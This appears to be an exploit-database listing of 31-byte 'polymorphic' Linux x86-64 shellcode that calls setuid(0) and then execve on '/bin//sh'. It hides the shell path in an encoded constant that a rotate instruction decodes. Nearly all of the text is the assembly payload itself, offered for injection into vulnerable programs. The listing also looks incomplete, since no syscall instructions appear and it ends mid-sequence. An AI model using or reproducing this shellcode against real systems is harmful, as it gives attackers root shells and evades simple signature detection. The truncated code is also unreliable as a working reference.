Linux/x86-64 - Polymorphic Setuid(0) & Execve(/bin/sh) Shellcode (31 bytes)

Author: Robert L. Taylor Published: 2017-03-06 Verified: Verified



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; For a detailed explanation of this shellcode see my blog post:
global _start
section .text
; setuid(0)
    xor edi,edi
    push rdi ; null terminator for the following string
    push 105
    pop rax
    ; push /bin//sh in reverse
    mov rbx,0xd0e65e5edcd2c45e
; execve
    ror rbx,1
    mov al,59
    push rbx
    xchg esi,edi
    push rsp
    ; store /bin//sh address in RDI, points at string
    pop rdi
    ; Call the Execve syscall